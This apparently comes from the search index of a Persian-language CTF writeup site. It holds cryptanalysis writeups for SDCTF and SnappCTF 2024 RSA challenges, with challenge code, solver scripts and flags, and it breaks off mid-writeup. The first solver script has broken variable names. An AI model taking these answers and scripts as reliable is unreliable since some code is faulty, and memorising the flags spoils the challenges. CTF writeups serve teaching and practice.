\u062e\u0628 \u0645\u0627 \u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0647\u0645\u06cc\u0634\u0647 \u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc RSA \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0631\u062f\u06cc\u0645 \u0628\u0627 \u0627\u06cc\u0646 \u062a\u0641\u0627\u0648\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u0628\u0627\u06cc\u062f \u062d\u0645\u0644\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0622\u062e\u0631 \u0628\u0627\u06cc\u062f \u062d\u0648\u0627\u0633\u0645\u0648\u0646 \u062c\u0645\u0639 \u0628\u0627\u0634\u0647 \u06a9\u0647 \u0648\u0642\u062a\u06cc \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f\u06cc\u0645 ( \u06a9\u0647 \u062f\u0631 \u062d\u0642\u06cc\u0642\u062a \u06cc\u06a9 \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u0647\u0633\u062a ) \u0642\u0633\u0645\u062a Real \u06cc\u0627 \u062d\u0642\u06cc\u0642\u06cc \u0648 \u0642\u0633\u0645\u062a Imag \u06cc\u0627 \u0645\u0648\u0647\u0648\u0645\u06cc \u0627\u0648\u0646 \u0631\u0648 \u062c\u062f\u0627\u06af\u0648\u0646\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0628\u0627\u06cc\u062a \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0639\u062f \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645.

\u062e\u0628 \u0627\u06af\u0647 \u06cc\u0627\u062f\u062a\u0648\u0646 \u0628\u0627\u0634\u0647 N \u062f\u0631 \u0642\u0627\u0644\u0628 \u06cc\u06a9 \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u062e\u0628 \u062d\u0627\u0644\u0627 \u0628\u0647 \u0646\u0638\u0631\u062a\u0648\u0646 \u0645\u0627 \u0686\u062c\u0648\u0631\u06cc Phi \u0627\u06cc\u0646 \u0639\u062f\u062f \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645\u061f \u062c\u0648\u0627\u0628 \u0627\u06cc\u0646\u0647 \u0628\u0627\u06cc\u062f Norm \u0627\u0648\u0646 \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0639\u062f\u0634 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0648\u0646 Phi \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645.

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#norm","title":"\u0645\u062d\u0627\u0633\u0628\u0647 Norm","text":"

Norm \u0639\u062f\u062f \u0632\u06cc\u0631 \u0628\u0647 \u0641\u0631\u0645 \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627

a + bi

\u0628\u0631\u0627\u0628\u0631 \u0627\u0633\u062a \u0628\u0627:

a^2 + b^2 solve.py
from Crypto.Util.number import *\n\n# N = 47314254765672217716326132674\n# + 275948221897758780728621214539i\nr_N = 47314254765672217716326132674\nim_N = 275948221897758780728621214539\n\n# We can calculate norm of N and using SageMath or factordb.com therefore we get p and q\nnorm_N = (r_N*r_N) + (im_N*im_N)  \np = 258832088213745478555898574053\nq = 302845216810343310427045691449\n\ne = 65537\n\n# ciphertext = -120974603478533287568533462088\n# + -26598567903204264781472600457i\nr_c = -120974603478533287568533462088\nim_c = -26598567903204264781472600457\n\nc = GaussianRational(Fraction(r_C), Fraction(im_C))\nN = GaussianRational(Fraction(r_N), Fraction(im_N))\n\nphi = (p-1)*(q-1)\nd = inverse(e, phi)\nFlag = pow(c, d, N)\nlong_to_bytes(int(Flag.real)) + long_to_bytes(int(Flag.imag))\n

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0631\u0645 N \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0627\u0648\u0644 \u0646\u06cc\u0633\u062a \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0627 Factordb.com\u200d\u200d\u200d \u06cc\u0627 SageMath \u06a9\u0627\u0631 \u0631\u0648 \u067e\u06cc\u0634 \u0645\u06cc\u0628\u0631\u06cc\u0645 \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u062f\u0648 \u0639\u062f\u062f \u0627\u0648\u0644 p \u0648 q \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0627\u0635\u0644 \u0636\u0631\u0628\u0634\u0648\u0646 \u0628\u0634\u0647 \u0628\u0631\u0627\u0628\u0631 N. \u062d\u0627\u0644\u0627 \u062f\u0627\u0631\u06cc\u0645:

Phi = (p-1) * (q-1)

\u0628\u0639\u062f \u0645\u06cc\u0627\u06cc\u0645 \u0627\u0648\u0646 \u067e\u06cc\u0627\u0645 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u0648 N \u0631\u0648 \u0628\u0647 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u062f\u0631\u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0647 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a d \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0641\u0644\u06af \u0631\u0648 \u0645\u06cc\u06a9\u0634\u06cc\u0645 \u0628\u06cc\u0631\u0648\u0646 \u0628\u0647 \u0647\u0645\u06cc\u0646 \u0631\u0627\u062d\u062a\u06cc!

FLAG

sdctf{g3t_r341_0bcef3a}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SnappCTF/Blex/","title":"\u0686\u0627\u0644\u0634 Blex","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06a9\u062f \u0632\u06cc\u0631 \u0648 \u0622\u062f\u0631\u0633 \u0633\u0631\u0648\u0631 \u0628\u0627\u0644\u0627 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647:

server.py
import sys\nfrom Crypto.Util.number import *\nfrom flag import flag\n\ndef die(*args):\n    pr(*args)\n    quit()\n\ndef pr(*args):\n    s = \" \".join(map(str, args))\n    sys.stdout.write(s + \"\\n\")\n    sys.stdout.flush()\n\ndef sc(): \n    return sys.stdin.buffer.readline()\n\ndef keygen(r):\n    assert len(r) <= 60\n    v, l = int(r, 16), len(r)\n    e = (64 - l) << 4\n    u, w = v << e, 2 ** (e >> 1)\n    for _ in range(110):\n        r = getRandomRange(1, w)\n        p = r + u\n        while p >> e == v:\n            if isPrime(p):\n                while True:\n                    x, y = [2 * getRandomNBitInteger(p.bit_length() >> 2) for _ in '__']\n                    P, Q = x * p | 1, y * p | 1\n                    if isPrime(P) and isPrime(Q):\n                        return P, Q\n            p += 1\n\ndef main():\n    border = \"|\"\n    pr(border*72)\n    pr(border, f\"Welcome to Blex task! Your mission is break our complex cryptosystem\", border)\n    pr(border*72)\n    pr(border, f\"please provide your desired seed to generate key in hex:\")\n    seed = sc().decode()\n    try:\n        _b = len(seed) <= 60 and int(seed, 16) >= 0\n    except:\n        die(border, f\"The seed you provided is either not in hex or is not valid!\")\n    if _b:\n        pr(border, f\"Generating keypair, please wait...\")\n        p, q = keygen(seed)\n        e, n =  65537, p * q\n        m = bytes_to_long(flag)\n        assert m < n\n        c = pow(m, e, n)\n        pr(border, f'n = {n}')\n        pr(border, f'c = {c}')\n    else:\n        die(border, f\"Your seed is too long!!!\")\n\nif __name__ == '__main__':\n    main()\n

\u0633\u0631\u0648\u0631 \u0628\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06cc\u06a9 seed\u060c \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 \u0645\u0648\u0631\u062f\u0646\u06cc\u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0631\u0627 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc \u06a9\u0646\u062f. \u0628\u0627 \u062a\u062d\u0644\u06cc\u0644 \u06a9\u062f \u0645\u06cc \u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0648 \u0637\u0648\u0644 seed \u0631\u0648\u06cc \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc w ,u (\u062e\u0637\u200c\u0647\u0627\u06cc 19 \u062a\u0627 21) \u062a\u0627\u062b\u06cc\u0631 \u062f\u0627\u0631\u0647 \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647\u200c\u0627\u0634 \u0631\u0648\u06cc \u0645\u0642\u062f\u0627\u0631 p (\u062e\u0637 24) \u0627\u062b\u0631 \u062f\u0627\u0631\u0647. \u067e\u0633 \u0628\u0627\u06cc\u062f \u0637\u0648\u0644\u0627\u0646\u06cc \u062a\u0631\u06cc\u0646 \u0648 \u06a9\u0645 \u0627\u0631\u0632\u0634 \u062a\u0631\u06cc\u0646 \u062d\u0627\u0644\u062a \u0645\u0645\u06a9\u0646 \u0628\u0631\u0627\u06cc seed \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645 \u062a\u0627 \u0627\u0646\u062f\u0627\u0632\u0647 \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 \u062a\u0627 \u062c\u0627\u06cc \u0645\u0645\u06a9\u0646 \u06a9\u0648\u0686\u06a9 \u0628\u0634\u0647. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u06a9\u062f \u0633\u0631\u0648\u0631 \u062d\u062f\u0627\u06a9\u062b\u0631 \u0637\u0648\u0644 \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0631\u0627\u06cc \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645 60 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 hex (\u062e\u0637 42) \u0627\u0633\u062a \u0627\u0645\u0627 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647\u200c\u06cc \u06a9\u062f \u0686\u0648\u0646 \u0627\u06cc\u0646 \u0637\u0648\u0644 \u0628\u0627\u0639\u062b \u0645\u06cc \u0634\u0648\u062f \u0645\u0642\u062f\u0627\u0631 m \u0627\u0632n \u0628\u0632\u0631\u06af\u062a\u0631 \u0634\u0648\u062f \u0628\u0627\u06cc\u062f \u062a\u0639\u062f\u0627\u062f \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u06cc \u06a9\u0627\u0647\u0634 \u062f\u0647\u06cc\u0645 \u0648 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u0645. \u067e\u0633 \u0628\u0627 \u0633\u0639\u06cc \u0648 \u062e\u0637\u0627 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0628\u0647\u062a\u0631\u06cc\u0646 \u062d\u0627\u0644\u062a \u0628\u0631\u0627\u06cc seed \u06cc\u06a9 \u0631\u0634\u062a\u0647 hex \u0628\u0627 \u0637\u0648\u0644 \u062d\u062f\u0648\u062f 50 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 hex \u0627\u0633\u062a \u0648 \u0628\u0647\u062a\u0631\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631 0 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0627 \u0639\u062b \u0635\u0641\u0631 \u0634\u062f\u0646 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc v, u \u0645\u06cc \u0634\u0648\u062f.

seed='0'*50\n

\u067e\u0633 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u0627\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631 \u0628\u0647 \u0633\u0631\u0648\u0631 \u06a9\u0627\u0631\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0648\u0686\u06a9\u062a\u0631\u06cc\u0646 \u062d\u0627\u0644\u062a \u0645\u0645\u06a9\u0646 \u0628\u0631\u0627\u06cc \u067e\u06cc\u0645\u0627\u0646\u0647 n \u062a\u0648\u0644\u06cc\u062f \u0634\u0648\u062f.

\u0628\u0627\u062a\u0648\u062c\u0647 \u0639\u06a9\u0633 \u0628\u0627\u0644\u0627 \u0628\u0646\u0638\u0631 \u0645\u0642\u062f\u0627\u0631 n \u0642\u0627\u0628\u0644 \u062a\u062c\u0632\u06cc\u0647 (factorzation) \u0627\u0633\u062a. \u0627\u0648\u0644 \u0633\u0627\u06cc\u062a factodb \u0686\u06a9 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0641\u0627\u06a9\u062a\u0648\u0631 \u0647\u0627\u06cc \u0622\u0646 \u062f\u0631 \u0633\u0627\u06cc\u062a \u0646\u0628\u0648\u062f \u067e\u0633 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631 yafu \u0645\u0642\u062f\u0627\u0631\u0647\u0627\u06cc p \u0648 q \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

\u0628\u0639\u062f \u0627\u0632 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 p \u0648 q\u060c \u0645\u0642\u062f\u0627\u0631 c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0645\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645:

solve.py
from Crypto.Util.number import *\np=967779994343424298972799836410726382421\nq=1906290831706106101563543378153882219493\nc=561549521363482185023346141805060013137561099778218746283913794237812517123464\ne=65537\nn=p*q\nphi=(p-1)*(q-1)\nd=pow(e,-1,phi)\nprint(long_to_bytes(pow(c,d,n)))\n
FLAG

SNAPP{b3Y0nd_4Ny_FoRM_1n_8lEx!?}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","Crypto","Seed","Factorzation","Yufu"]},{"location":"crypto/writeups/SnappCTF/Bombastic/","title":"\u0686\u0627\u0644\u0634 Bombastic","text":"","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0641\u0644\u06af \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0645\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0637\u0631\u06cc\u0642\u06cc \u0628\u062a\u0648\u0646\u06cc\u0645 \u0645\u062a\u0646 \u0631\u0645\u0632\u0634\u062f\u0647 \u0631\u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645.

\u0628\u06cc\u0627\u06cc\u0645 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u062a\u0648\u0627\u0628\u0639 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645

","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#check","title":"\u062a\u0627\u0628\u0639 check:","text":"

\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u06cc\u06a9 \u0639\u062f\u062f \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0631\u0627\u0633\u0627\u0633 \u06cc\u06a9\u0633\u0631\u06cc \u0641\u0639\u0644 \u0648 \u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0632 \u0639\u062f\u062f \u0648\u0631\u0648\u062f\u06cc\u060c \u06cc\u06a9 \u0644\u06cc\u0633\u062a \u0627\u0632 \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 (\u062f\u0631\u0635\u0648\u0631\u062a \u0627\u0645\u06a9\u0627\u0646) \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647

def check(n):\n    sn = str(n)\n    l, P = len(str(n)), []\n    for i in range(1, l - 1):\n        for j in range(i + 1, l):\n            g, e, a = int(sn[:i]), int(sn[i:j]), int(sn[j:])\n            if isPrime(g ** e + a):\n                P.append(g ** e + a)\n            if isPrime(g** e - a):\n                P.append(g ** e - a)\n    return P\n
","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#keygen","title":"\u062a\u0627\u0628\u0639 keygen:","text":"

\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0631\u0627\u06cc \u062a\u0648\u0644\u06cc\u062f \u0639\u062f\u062f \u0627\u0648\u0644 \u062d\u062f\u0627\u0642\u0644 \u0628\u0647 \u0637\u0648\u0644 nbit \u0647\u0633\u062a\u0634. \u0628\u062e\u0627\u06cc\u0645 \u06cc\u06a9\u0645 \u0639\u0645\u06cc\u0642 \u062a\u0631 \u0628\u0647 \u062a\u0627\u0628\u0639 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 :

  1. \u062f\u0631\u0648\u0646 \u062d\u0644\u0642\u0647 while True \u0645\u06cc\u0627\u062f \u06cc\u06a9 \u0639\u062f\u062f 18 \u0628\u06cc\u062a\u06cc \u0645\u06cc\u0633\u0627\u0632\u0647 (r)
  2. \u0628\u0647 \u062a\u0627\u0628\u0639 check \u067e\u0627\u0633\u0634 \u0645\u06cc\u062f\u0647.
  3. \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0644\u06cc\u0633\u062a \u062e\u0631\u0648\u062c\u06cc\u0634 \u062e\u0627\u0644\u06cc \u0646\u0628\u0627\u0634\u0647\u060c \u0645\u06cc\u0627\u062f \u0633\u0648\u0631\u062a\u0634 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0627\u062e\u0631\u06cc\u0646 \u0622\u06cc\u062a\u0645 \u0644\u06cc\u0633\u062a \u0631\u0648 \u0627\u0646\u062a\u062e\u0627\u0628 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u062a\u0648 \u0645\u062a\u063a\u06cc\u0631 p \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u06a9\u0646\u0647 (\u0628\u0647 \u0646\u0648\u0639\u06cc \u062f\u0627\u0631\u0647 \u0628\u0632\u0631\u06af\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0644\u06cc\u0633\u062a \u062e\u0631\u0648\u062c\u06cc \u0631\u0648 \u0627\u0646\u062a\u062e\u0627\u0628 \u0645\u06cc\u06a9\u0646\u0647)
  4. \u0633\u067e\u0633 \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0639\u062f\u062f \u0627\u0648\u0644 \u062c\u062f\u0627 \u0634\u062f\u0647 \u0637\u0648\u0644\u0634 \u062d\u062f\u0627\u0642\u0644 nbit \u0628\u0627\u0634\u0647 \u0628\u0631\u0627\u0645\u0648\u0646 \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647 \u0648\u06af\u0631\u0646\u0647 \u062f\u0648\u0628\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0631\u0648\u0646\u062f \u062a\u06a9\u0631\u0627\u0631 \u0645\u06cc\u0634\u0647
def keygen(nbit):\n    while True:\n        r = getRandomNBitInteger(18)\n        if len(check(r)) != 0:\n            cr = check(r)\n            cr.sort()\n            p = cr[-1]\n            if p.bit_length() >= nbit:\n                return r, p\n
","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0627\u0632 \u06cc\u06a9 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u063a\u06cc\u0631\u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f (\u062a\u0627\u0628\u0639 keygen) \u0628\u0631\u0627\u06cc \u062a\u0648\u0644\u06cc\u062f \u0639\u062f\u062f \u0627\u0648\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631\u0633\u062a\u0647 \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 256 \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a\u0646\u062f\u060c \u0648\u0644\u06cc \u0627\u0632 \u0639\u062f\u062f 18 \u0628\u06cc\u062a\u06cc r \u0645\u0634\u062a\u0642 \u0634\u062f\u0647 \u0627\u0646\u062f. \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u06af\u0647 \u0628\u06cc\u0627\u06cc\u0645 \u0631\u0648\u06cc \u0645\u062a\u063a\u06cc\u0631 r \u06cc\u06a9 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0627\u06a9\u062a\u0648\u0631\u0647\u0627\u06cc n \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0645\u0632 \u0634\u062f\u0647 \u0631\u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645\ud83d\ude01\ud83d\ude0e

def check(n):\n    sn = str(n)\n    l, P = len(str(n)), []\n    for i in range(1, l - 1):\n        for j in range(i + 1, l):\n            g, e, a = int(sn[:i]), int(sn[i:j]), int(sn[j:])\n            if isPrime(g ** e + a):\n                P.append(g ** e + a)\n            if isPrime(g** e - a):\n                P.append(g ** e - a)\n    return P\n\nfor i in range(1, 2**17):\n    r = 2**17 + i\n    if len((cr:=check(r))) != 0:\n        cr.sort()\n        p = cr[-1]\n        if p.bit_length() >= 256:\n            if n%p==0:\n                break\n\n# p = 259117086013202627776246767922441530941818887553125427303974923161874019266586362086201209516800483406550695241733194177441689509238807017410377709597512042313066624082916353517952311186154862265604547691127595848775610568757931191017711408826252153849035830401185072116424747461823031471398340229288074545677907941037288235820705892351068433882986888616658650280927692080339605869308790500409503709875902119018371991620994002568935113136548829739112656797303241986517250116412703509705427773477972349821676443446668383119322540099648994051790241624056519054483690809616061625743042361721863339415852426431208737266591962061753535748892894599629195183082621860853400937932839420261866586142503251450773096274235376822938649407127700846077124211823080804139298087057504713825264571448379371125032081826126566649084251699453951887789613650248405739378594599444335231188280123660406262468609212150349937584782292237144339628858485938215738821232393687046160677362909315071\nq = n//p\ne = 0x10001\nphi=(p-1)*(q-1)\nd=pow(e,-1,phi)\nprint(long_to_bytes(pow(enc,d,n)))\n
FLAG

SNAPP{B0m84S7!C_Pr1m3_9EneR4T!0N!!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Cryptos/","title":"\u0686\u0627\u0644\u0634 Cryptos","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u06a9\u062f \u0632\u06cc\u0631 \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u062d\u0627\u0648\u06cc \u0645\u062a\u0646 \u06a9\u062f \u0634\u062f\u0647 c \u062f\u0627\u062f\u0647 \u0634\u062f\u0647:

cryptos.py
from decimal import *\nfrom Crypto.Util.number import *\nfrom flag import flag\n\ndef encode(n, p):\n    getcontext().prec = p + len(str(n)) + 2\n    x, y = Decimal(n), Decimal(1)\n    r = Decimal(10) ** Decimal(-p)\n    while x >= r + y:\n        x = (x + y) / 2\n        y = n / x\n    result = str(round(x - (r / 2), p)).replace('.', '')[::-1]\n    return result\n\ndef encrypt(msg, n):\n    assert n >= 2\n    m = n * bytes_to_long(msg)\n    c = encode(m, p).lstrip('0')\n    return c\n\nglobal p\np = 1024\nn = getRandomNBitInteger(p >> 6)\nc = encrypt(flag, n)\nprint(f'c = {c}')\n
c = 5045178894357626075431384420860360647034114401723872009235472900716359915220507491073960091678247276121410336208043903213023270852375878447784137648224298070437468162688759757920721723781604874151511572882769621941513872944171938170800255953999521262507633248122058585326636562475057264132441892290385234155811673238225858794265110896113943435633328964169010801463217935967353264871894098875705195581754210881067786818256285938683517110450003983693265702180080692280190636422223594905498601205618208238650519192521153660957941553495169629553425307135627310090665836554328620333233651748363605006405700561070148067374204713428800371202120708720303368873063856187395746236050232433322757367599705756026681249243491427692831512293583163552663661247047141621453850846452005560242532098020050458041224274532870717854358073569467859182280543593485795867269334718276231423506951784977870960076921603401799962900400216905993065516167476079796078242649399762978533503541077936264107413956207423841535073828559129349967201715665207852577917834390795702440085535969037233161141789375751\n

\u0627\u06cc\u0646 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u06a9\u062f\u06a9\u0631\u062f\u0646 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0645\u062a\u0646 (flag) \u0631\u0648 \u0628\u0647 \u06a9\u062f c \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u0647. \u0628\u0631\u0627\u06cc \u062d\u0644 \u0686\u0627\u0644\u0634\u060c \u0647\u062f\u0641 \u0627\u0635\u0644\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 n \u0627\u0633\u062a \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0622\u0646 \u0628\u0631\u0627\u0628\u0631 n=x*y \u0627\u0633\u062a. \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u0642\u062f\u0627\u0631 x \u0627\u0632 \u0631\u0648\u06cc \u0645\u0642\u062f\u0627\u0631 c \u0633\u0627\u062f\u0647 \u0627\u0633\u062a \u0627\u0645\u0627 \u0645\u0633\u0626\u0644\u0647 \u0645\u0647\u0645 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 y \u0627\u0633\u062a. \u0628\u0627 \u062a\u062d\u0644\u06cc\u0644 \u06a9\u062f \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 x \u0648 y \u062f\u0631 \u0645\u0648\u0642\u0639 \u062e\u0631\u0648\u062c \u0627\u0632 \u062d\u0644\u0642\u0647\u060c \u0627\u0639\u062f\u0627\u062f \u0627\u0639\u0634\u0627\u0631\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0642\u0633\u0645\u062a \u0635\u062d\u06cc\u062d \u0622\u0646 \u0647\u0627 \u06cc\u06a9\u0633\u0627\u0646 \u0627\u0633\u062a. \u067e\u0633 \u0645\u0642\u062f\u0627\u0631 n=x^2. \u062d\u0627\u0644\u0627 \u0627\u0632 \u0631\u0648\u06cc c \u0628\u0627 \u0645\u0639\u06a9\u0648\u0633 \u06a9\u0631\u062f\u0646 \u062e\u0637 12 \u0628\u0647 x (\u0628\u0627 \u062a\u0646\u0638\u06cc\u0645 \u062f\u0642\u062a \u0645\u062d\u0627\u0633\u0628\u0647 \u0631\u0648\u06cc 1033)\u0645\u06cc \u0631\u0633\u06cc\u0645 \u0648 \u0645\u0642\u062f\u0627\u0631 n 